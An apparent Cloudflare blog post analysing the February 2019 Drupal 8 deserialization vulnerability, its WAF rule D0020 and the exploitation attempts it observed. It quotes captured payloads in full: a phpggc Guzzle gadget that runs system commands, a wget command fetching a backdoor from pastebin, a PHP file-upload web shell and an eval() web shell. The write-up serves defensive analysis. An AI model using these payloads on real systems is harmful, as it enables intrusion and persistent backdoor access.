On the 20th February 2019, Drupal announced that they had discovered a severe vulnerability and that they would be releasing a patch for it the next day. Drupal is a Content Management System used by many of our customers, which made it important that our WAF protect against the vulnerability as quickly as possible.

As soon as Drupal released their patch, we analysed it to establish what kind of payloads could be used against it and created rules to mitigate these. By analysing the patch we were able to put together WAF rules to protect cloudflare customers running Drupal.

We identified the type of vulnerability we were dealing within 15 minutes. From here, we were able to deploy rules to block the exploit well before any real attacks were seen.

The exploit

As Drupal's release announcement explains, a site is affected if:

It has the Drupal 8 RESTful API enabled

Or it uses one of the 8 modules found to be affected

From looking at the patch we very quickly realised the exploit would be based on deserialization. The option ['allowed_classes' => FALSE] was added as part of the patch to the link and map field types. This indicates that while these items are supposed to receive some serialized PHP, there was no legitimate case for supplying a serialized PHP object.

This is important because the easiest way to exploit a deserialization vulnerability in PHP is to supply a serialized Object that is crafted to execute code when deserialized.

Making the situation worse was the fact that the deserialization was performed regardless of any authentication.

We also realised that this meant blindly blocking all serialized PHP would break their intended functionality, as clearly these fields are supposed to receive specific kinds of serialized PHP, for example arrays or strings. Although as the PHP documentation notes, it’s always a risky thing to deserialize untrusted data, even when restricting the set of data that’s excepted.

This blog post from Ambionics does a good job at explaining what a concrete exploitation of the vulnerability looks like, when applied to the Drupal 8 RESTful API.

What we caught

After the vulnerability was announced, we created several rules to experiment with different ways to build a signature to catch exploit attempts. Within an hour of the Drupal announcement we had deployed these in simulate mode, which logs potentially malicious requests without blocking them. After monitoring for false positives they were then improved them a few times as we tuned them.

This culminated in the deploy of rule D0020, which has blocked a number of attackers as shown in the graph below. The rule was already deployed in ‘drop’ mode by the time our first attack was observed at around 7pm UTC on Friday the 22nd of February 2019, and to date it has matched zero false positives. This is less than 48 hours from the announcement from Drupal.

Figure 1: Hits on rule D0020, with the first attack seen on the 22th February 2019.

These first attacks leveraged the “guzzle/rce1” gadget from phpggc to invoke the linux command “id” via PHP’s “system” function, exactly as ambionics did.

'O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"GuzzleHttp\HandlerStackhandler";s:2:"id";s:30:"GuzzleHttp\HandlerStackstack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"GuzzleHttp\HandlerStackcached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}''

After this we saw several more attempts to use this gadget for executing various payloads, mostly to test whether targeted servers were vulnerable. Things like ‘phpinfo’, echoing strings and performing calculations.

The first malicious payload we saw used the same gadget, but this time to save a malicious payload from pastebin onto the user’s server.

wget -O 1x.php https://pastebin.com/raw/npLq4493

This script would have placed a backdoor on the target system by allowing them to upload files to the server via an HTML form. This would have given the attacker continued access to the system even if it was subsequently patched.

<? echo "'XXXXXXXXXXXX"; $cwd = getcwd(); Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center></td></tr> </table><br>'; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); Echo "<script>alert('upload Done'); </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; } ?>

Another malicious payload seen was much more minimal:

echo '<?php @eval($_POST['pass']) ?>' > vuln1.php

This payload creates a small PHP file on the server, which contains the dangerous eval() function. If this hadn’t been blocked, it would have allowed the attacker to issue commands via a single HTTP request to the vuln1.php file that could execute arbitrary commands directly on the potentially vulnerable system.

Rates of exploitation

The pattern we saw here is fairly typical of a newly announced vulnerability. Once a vulnerability is published, it doesn’t take long to see real attackers making use of the vulnerability - initially in small numbers with “test” payloads to identify whether the attacks work, but shortly afterwards in much higher numbers, and with more dangerous and subtle payloads. This vulnerability was weaponized within two days of disclosure, but that is by no means the shortest time frame we’ve seen.

It’s very hard to patch systems quickly enough to ensure that attackers don’t get through, so products like Cloudflare’s WAF are a vital line of defense against these emerging vulnerabilities.